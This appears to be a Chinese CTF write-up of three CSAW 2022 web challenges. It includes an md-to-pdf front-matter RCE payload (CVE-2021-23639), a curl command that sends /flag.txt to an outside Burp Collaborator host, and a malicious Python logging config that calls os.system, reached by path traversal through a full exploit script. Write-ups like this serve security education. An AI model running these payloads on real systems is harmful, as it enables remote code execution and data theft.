-
-
[原创]CSAW-CTF-Web部分题目
-
2022-9-19 20:33 6041
-
Word Wide Web
打开访问一下大堆,大概是爬虫访问。
写个爬虫所有有 <a href="(.*?)">(.*?)</a>
都访问下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | import re import requests url = 'http://web.chal.csaw.io:5010/' session = requests.Session() def getAll(): target = 'stuff' while True : result = session.get(url + target).text target = re.findall( '<a href="/(.*?)">' , result) if target = = []: print (result) break else : target = target[ 0 ] print (re.findall( '<h1>(.*?)</h1>' , result)) if __name__ = = '__main__' : getAll() |
My little website
网站是个 markdown 转 pdf的功能,尝试渲染html和js都能成功
1 2 | <iframe src = "/" width = "400" height = "600" >< / iframe> <script>document.write( "Test Success!!" )< / script> |
但 flag 在根目录,没法访问到。
读源码发现是用了 md-to-pdf 这个库
网上找找有没有这个库的RCE
还真有 CVE-2021-23639
1 2 3 | - - - js ((require( "child_process" )).execSync( "whoami" )) - - - RCE |
但不会回显,用 curl 外带出来
1 2 3 | - - - js ((require( "child_process" )).execSync( "curl -d `cat /flag.txt` https://bs7gim4c66g802zhk4dmgm712s8kw9.burpcollaborator.net" )) - - - RCE |
Good Intentions
题目竟然给了api文档
有个可执行命令的api /run_command
,但需要管理员登录才可以
无法注册 admin ,数据库初始化的时候就已经创建好admin了
继续审计 routes.py
中的代码
发现也给了 hint
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #One of the volunteers keeps messing with the logger config. Doing this as a temporary fix so I can fix remotely... #If you're the one doing it and reading this, please stop. # 上面注释已经说了这里有漏洞 @api .route( '/log_config' , methods = [ 'POST' ]) @login_required def log_config(): if not request.is_json: return response( 'Missing required parameters!' ), 401 data = request.get_json() file_name = data.get( 'filename' , '') # 发现加载日志配置存在漏洞,可加载任意文件作为配置文件 logging.config.fileConfig(f "{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}" ) # ../../ return response(data) |
翻阅 logging.config
的官方文档 发现
不过都是跑在 docker 里,端口没暴露出来
在找找这个加载配置文件有啥漏洞吧
一搜一大把
搜索技巧,中文搜索不到的话用 英文+goole
格式 ( xxx vulnerable) (xxxxx RCE) 等 ,很有效,大概
好了,回到这题,参考
https://raj3shp.medium.com/python-security-logging-config-code-execution-e45660bc230e
设置配置文件
test.conf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | [loggers] keys = root,simpleExample [handlers] keys = consoleHandler [formatters] keys = simpleFormatter [logger_root] level = DEBUG handlers = consoleHandler [logger_simpleExample] level = DEBUG handlers = consoleHandler qualname = simpleExample propagate = 0 [handler_consoleHandler] # 可执行任意命令 ,将执行的命令的结果写入静态目录中,可直接读取 class = __import__ ( 'os' ).system( 'cat /flag.txt > /app/application/static/docs/cmd.txt' ) level = DEBUG formatter = simpleFormatter args = (sys.stdout,) [formatter_simpleFormatter] format = % (asctime)s - % (name)s - % (levelname)s - % (message)s |
稍微修改下它给的api
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | # Sample API client for users who want to get started helping us collect and label space pictures! import requests import json api_url = "http://localhost:1337/" username = "aaa" password = "123" image_file = "test.conf" label = "test" def register(username, password): url = api_url + "/api/register" payload = json.dumps({ "username" : username, "password" : password }) headers = { 'Content-Type' : 'application/json' } response = requests.request( "POST" , url, headers = headers, data = payload) return response def login(username, password): url = api_url + "/api/login" payload = json.dumps({ "username" : username, "password" : password }) headers = { 'Content-Type' : 'application/json' } connection = requests.Session() response = connection.request( "POST" , url, headers = headers, data = payload) return response,connection def upload(connection, filename, label): url = api_url + "/api/upload" with open (filename, "rb" ) as f: data = f.read() files = { 'file' : data} #Edit the label appropriately values = { 'label' : label} response = connection.request( "POST" , url, files = files, data = values) return response def gallery(connetion): url = api_url + "/api/gallery" return connetion.get(url) def log_config(connection, filename): url = api_url + "/api/log_config" logConf = { "filename" : "../images/" + filename} connection.post(url, json = logConf) def readCmd(connection): url = api_url + "static/docs/cmd.txt" return connection.get(url) def main(): response = register(username, password) print (response.text) response, connection = login(username, password) print (response.text) response = upload(connection, image_file, label) print (response.text) response = gallery(connection) print (response.text) log_config(connection, json.loads(response.text)[ "message" ][ - 1 ]) response = readCmd(connection) print (response.text) ![图片描述](upload / tmp / 952339_9TBMQQZQHMQ8N3H .png) if __name__ = = "__main__" : main() |
得到
赞赏
他的文章
看原图